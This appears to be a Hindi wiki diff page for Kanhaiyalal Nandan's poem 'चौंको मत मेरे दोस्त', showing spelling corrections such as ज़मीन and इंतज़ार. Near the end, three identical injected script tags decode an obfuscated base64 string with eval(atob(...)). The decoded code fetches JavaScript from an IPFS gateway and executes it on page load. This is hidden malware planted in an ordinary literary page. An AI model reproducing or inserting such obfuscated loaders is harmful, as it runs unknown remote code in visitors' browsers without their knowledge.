"चौंको मत मेरे दोस्त -कन्हैयालाल नंदन" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "इंतजार " to "इंतज़ार ") |
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - " जमीन" to " ज़मीन") |
||
(इसी सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया) | |||
पंक्ति 32: | पंक्ति 32: | ||
<poem> | <poem> | ||
चौंको मत मेरे दोस्त | चौंको मत मेरे दोस्त | ||
− | अब | + | अब ज़मीन किसी का इंतज़ार नहीं करती। |
पांच साल का रहा होऊँगा मैं, | पांच साल का रहा होऊँगा मैं, | ||
जब मैंने चलती हुई रेलगाड़ी पर से | जब मैंने चलती हुई रेलगाड़ी पर से | ||
पंक्ति 42: | पंक्ति 42: | ||
मेरे पिताजी की आँखें चमकी थीं। | मेरे पिताजी की आँखें चमकी थीं। | ||
और वे मुस्करा कर बोले थे, बेटा! | और वे मुस्करा कर बोले थे, बेटा! | ||
− | पेड़ अपनी | + | पेड़ अपनी ज़मीन नहीं छोड़ते। |
और तब मेरे बालमन में एक दूसरा सवाल उछला था | और तब मेरे बालमन में एक दूसरा सवाल उछला था | ||
कि पेड़ ज़मीन को नहीं छोड़ते | कि पेड़ ज़मीन को नहीं छोड़ते | ||
पंक्ति 79: | पंक्ति 79: | ||
विरसे में मैंने यात्राएँ ही पाया है | विरसे में मैंने यात्राएँ ही पाया है | ||
और पिता का वचन जब-जब मुझे याद आया है | और पिता का वचन जब-जब मुझे याद आया है | ||
− | मैंने अपनी | + | मैंने अपनी ज़मीन के मोह में सहा है |
वापसी यात्राओं का दर्द। | वापसी यात्राओं का दर्द। | ||
और देखा | और देखा | ||
पंक्ति 116: | पंक्ति 116: | ||
{{समकालीन कवि}} | {{समकालीन कवि}} | ||
[[Category:समकालीन साहित्य]][[Category:पद्य साहित्य]][[Category:कविता]][[Category:हिन्दी कविता]][[Category:काव्य कोश]] | [[Category:समकालीन साहित्य]][[Category:पद्य साहित्य]][[Category:कविता]][[Category:हिन्दी कविता]][[Category:काव्य कोश]] | ||
− | [[Category:कन्हैयालाल नंदन]][[Category: | + | [[Category:कन्हैयालाल नंदन]][[Category:साहित्य कोश]] |
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ | ||
__NOEDITSECTION__ | __NOEDITSECTION__ |
13:30, 1 अक्टूबर 2012 के समय का अवतरण
| ||||||||||||||||||||||
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> चौंको मत मेरे दोस्त |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>